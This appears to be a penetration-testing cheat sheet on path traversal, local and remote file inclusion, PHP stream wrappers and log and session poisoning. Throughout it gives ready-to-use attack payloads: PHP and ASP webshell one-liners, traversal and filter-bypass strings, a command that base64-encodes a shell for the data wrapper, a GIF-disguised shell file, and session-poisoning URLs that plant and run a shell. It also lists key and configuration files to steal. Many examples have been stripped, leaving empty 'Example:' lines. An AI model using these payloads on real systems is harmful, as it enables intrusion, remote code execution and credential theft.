🏞️Path Traversal & File Inclusion
This works with all languages regardless of backend framework.
Automatic: LFISuite, LFiFreak, and liffy
Attack Vectors to Check:
Linux
.ssh (try authorized key to check for access and type of key(id_rsa or id_ecdsa))
config.php
/etc/passwd
To avoid
..
usecat .?/.*/.?/etc/passwd
If
shell_exec
function is allowed try phpbash
Windows:
c:\Windows\System32\Drivers\etc\hosts
IIS logs:
C:\inetpub\logs\LogFiles\W3SVC1\.
IIS config with user and pass:
C:\inetpub\wwwroot\web.config
Example in grafana:
ASP webshell: <% eval request('cmd') %>
PHP webshell: <?php system($_GET["cmd"]); ?>
Scanning
To fuzz for GET parameters:
Most common in this link Lfi wordlists Suggested
To fuzz LFI:
To Fuzz for php files:
Fuzzing Server Files
Webroot
To fuzz for index.php use wordlist for Linux or wordlist for windows Depending on our LFI situation, we may need to add a few back directories (e.g. ../../../../), and then add our index.php afterwords. Example:
Can also use this wordlist
Server Logs & Configs
Can use the same wordlistor wordlist for Linux or wordlist for windows Example:
Path traversal
When filenames are used as parameters pay close attention Example:
We can see that en.html is being loaded which means that we can try to access it directly:
Absolute path like /etc/passwd
can be used if the whole input used without any addition
Linux: ../
or .?/.*/.?/
Windows: ..\
or ../
in some cases
Example in grafana:
Directory prefix
But there can be additions like the language directory here:
Then can use the trick like so:
On windows:
Filename prefix
The fix is to try /
first. Like so: http://<SERVER_IP>:<PORT>/index.php?language=/../../../etc/passwd
Note: This may not always work
Appended Extensions
Path truncation
So if we search for /etc/passwd
then /etc/passwd.php
will be searched for.
In earlier versions of PHP, defined strings have a maximum length of 4096 characters, likely due to the limitation of 32-bit systems. If a longer string is passed, it will simply be truncated, and any characters after the maximum length will be ignored.
PHP, and Linux systems in general, also disregard multiple slashes in the path (e.g. ////etc/passwd is the same as /etc/passwd). Similarly, a current directory shortcut (.) in the middle of the path would also be disregarded (e.g. /etc/./passwd).
If we combine both of these PHP limitations together, we can create very long strings that evaluate to a correct path. Example: ?language=non_existing_directory/../../../etc/passwd/./././.[./ REPEATED ~2048 times]
Can use bash for this
Null bytes
Adding a null byte (%00) at the end of the string would terminate the string and not consider anything after it. o exploit this vulnerability, we can end our payload with a null byte (e.g. /etc/passwd%00
)
Non recursive filters
It doesnt delete all ../
recursively so can do ....//
or escape the backslash with ....\/
to get around this like so:
Encoding
Mostly can be used on older versions of php (5.3.4 earlier) can encode ../
to %2e%2e%2f
can use burpsuite for this.
Example:
Approved Paths
Some webapps use regular expressions like so to restrict directory:
Can go to languages directory and go back
Local File Inclusion
We often see a parameter like /index.php?page=about
, where index.php
sets static content (e.g. header/footer), .only pulls the dynamic content specified in the parameter, which in this case may be read from a file called about.php
.
Nodejs also can load content based on HTTP parameter.
Example:
PHP Wrappers
Filter
We can access php filter with php://filter/
The filter wrapper has several parameters, but the main ones we require for our attack are resource and read. 4 types of filters: String Filters, Conversion Filters, Compression Filters, and Encryption Filters
PHP Inclusion Using Filter
To read source code instead of executing the php file like this:
Use the filter:
Use like this
This returns base64 encoded file.
Checking PHP Configurations
To do so, we can include the PHP configuration file found at (/etc/php/X.Y/apache2/php.ini
) for Apache or at (/etc/php/X.Y/fpm/php.ini
).
We will also use the base64 filter we used in the previous section, as .ini files are similar to .php files and should be encoded to avoid breaking.
Data
This wrapper can be used for RCE
Check allow_url_include
if enabled, this option is not enabled by default:
/etc/php/X.Y/apache2/php.ini
for apache/etc/php/X.Y/fpm/php.ini
for Nginx Example:
Then check with
Remote Code Execution
Without Encoding:
With Encoding:
With data wrapper can include external data. Can pass base64 with text/plain;base64
Base64 encode webshell.
echo '<?php system($_GET["cmd"]); ?>' | base64
Then pass data wrapper with the base64
data://text/plain;base64,
Like so
Input
The difference between input and the data wrapper is that we pass our input to the input wrapper as a POST request's data. Input wrapper also depends on the allow_url_include setting, as mentioned earlier.
To repeat our earlier attack but with the input wrapper, we can send a POST request to the vulnerable URL and add our web shell as POST data. To execute a command, we would pass it as a GET parameter, as we did in our previous attack:
Expect
Allows us to directly run commands through URL streams. Need to check for expect as it is an external wrapper.
Refer Data for where to check.
To run commands:
Remote File Inclusion (RFI)
Vulnerable:
Not every LFI is RFI because:
The vulnerable function may not allow including remote URLs
You may only control a portion of the filename and not the entire protocol wrapper (ex: http://, ftp://, https://).
The configuration may prevent RFI altogether, as most modern web servers disable including remote files by default.
To check:
This also requires
allow_url_include
. check from DataThen check for remote code with local file like so
http://127.0.0.1:80/index.php
.Try
http://<SERVER_IP>:<PORT>/index.php?language=http://127.0.0.1:80/index.php
If the back-end server hosted any other local web applications (e.g. port 8080), then we may be able to access them through the RFI vulnerability by applying SSRF techniques on it.
Note: It may not be ideal to include the vulnerable page itself (i.e. index.php), as this may cause a recursive inclusion loop and cause a DoS to the back-end server.
To run shell from local try.
If http port is blocked.
Host:
Target:
Or if validation required:
SMB
If the vulnerable web application is hosted on a Windows server (which we can tell from the server version in the HTTP response headers), then we do not need the allow_url_include setting to be enabled.
Host:
Target:
File uploads
Malicious Image
To create echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif
Note: We are using a GIF image in this case since its magic bytes are easily typed, as they are ASCII characters, while other extensions have magic bytes in binary that we would need to URL encode. However, this attack would work with any allowed image or file type.
Then use like so with
ZIP upload
There are also other php wrapper with same functionality.
Even tho it is a .jpg it can be detected so ot has a better chance of working if zip upload allowed. Use zip wrapper to execute.
PHAR upload
This can be compiled to phar file now
To use this:
Note: There is another (obsolete) LFI/uploads attack worth noting, which occurs if file uploads is enabled in the PHP configurations and the phpinfo() page is somehow exposed to us. However, this attack is not very common, as it has very specific requirements for it to work (LFI + uploads enabled + old PHP + exposed phpinfo()). If you are interested in knowing more about it, you can refer to This Link.
Log poisoning
Writing PHP code in a field we control that gets logged into a log file (i.e. poison/contaminate the log file), and then include that log file to execute the PHP code.
PHP Session Poisoning
PHP web apps use PHPSESSID cookies to hold user-related data, enabling session tracking. These details are stored in session files on the server, typically in /var/lib/php/sessions/
on Linux and C:\Windows\Temp\
on Windows. File names match PHPSESSID cookie names, e.g., sess_el4ukv0kqbvoirg7nkp4dncpk3.
Check session id
Try including the session file:
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd
Write url encoded php shell to session by changing the url parameter
http://<SERVER_IP>:<PORT>/index.php?language=%3C%3Fphp%20system%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E
Now it will be saved to session so execute it by
http://<SERVER_IP>:<PORT>/index.php?language=/var/lib/php/sessions/sess_nhhv8i0o6ua4g88bkdl9u1fdsd&cmd=id
Refer HTB academy for full context.
Server Log poisoning
Both Apache and Nginx maintain various log files, such as access.log and error.log.
Apache -> /var/log/apache2/
or C:\xampp\apache\logs\
Nginx -> /var/log/nginx/
or C:\nginx\log\
It includes User-Agent header so we can control it We need read access over the logs(mostly only by root but older ones have lower privilege req.) .
Use burp to modify user-agent or curl with
Then run
NOTE: &cmd not ?cmd
Tip: The User-Agent header is also shown on process files under the Linux /proc/
directory. So, we can try including the /proc/self/environ
or /proc/self/fd/N
files (where N is a PID usually between 0-50), and we may be able to perform the same attack on these files. This may become handy in case we did not have read access over the server logs, however, these files may only be readable by privileged users as well.
Try these too:
/var/log/sshd.log
/var/log/mail
/var/log/vsftpd.log
If the ssh or ftp services are exposed to us, and we can read their logs through LFI, then we can try logging into them and set the username to PHP code, and upon including their logs, the PHP code would execute. The same applies the mail services, as we can send an email containing PHP code, and upon its log inclusion, the PHP code would execute. We can generalize this technique to any logs that log a parameter we control and that we can read through the LFI vulnerability.
Second Order Attacks
Second Order LFI attacks are more advanced and occur when web applications insecurely pull files based on user-controlled parameters.
For instance, if a web app allows downloading avatars via URLs like (/profile/$username/avatar.png), crafting a malicious LFI username (e.g. ../../../etc/passwd) can exploit this vulnerability.
Attack involves poisoning a database entry with a malicious LFI payload in the username, which is then utilized by another function to perform the attack.
Developers often overlook these vulnerabilities, trusting values pulled from their database, like usernames, leading to exploitation if the username is poisoned during registration.
Exploiting LFI via second-order attacks involves identifying functions that pull files based on indirectly controlled values and manipulating those values to exploit the vulnerability.
Last updated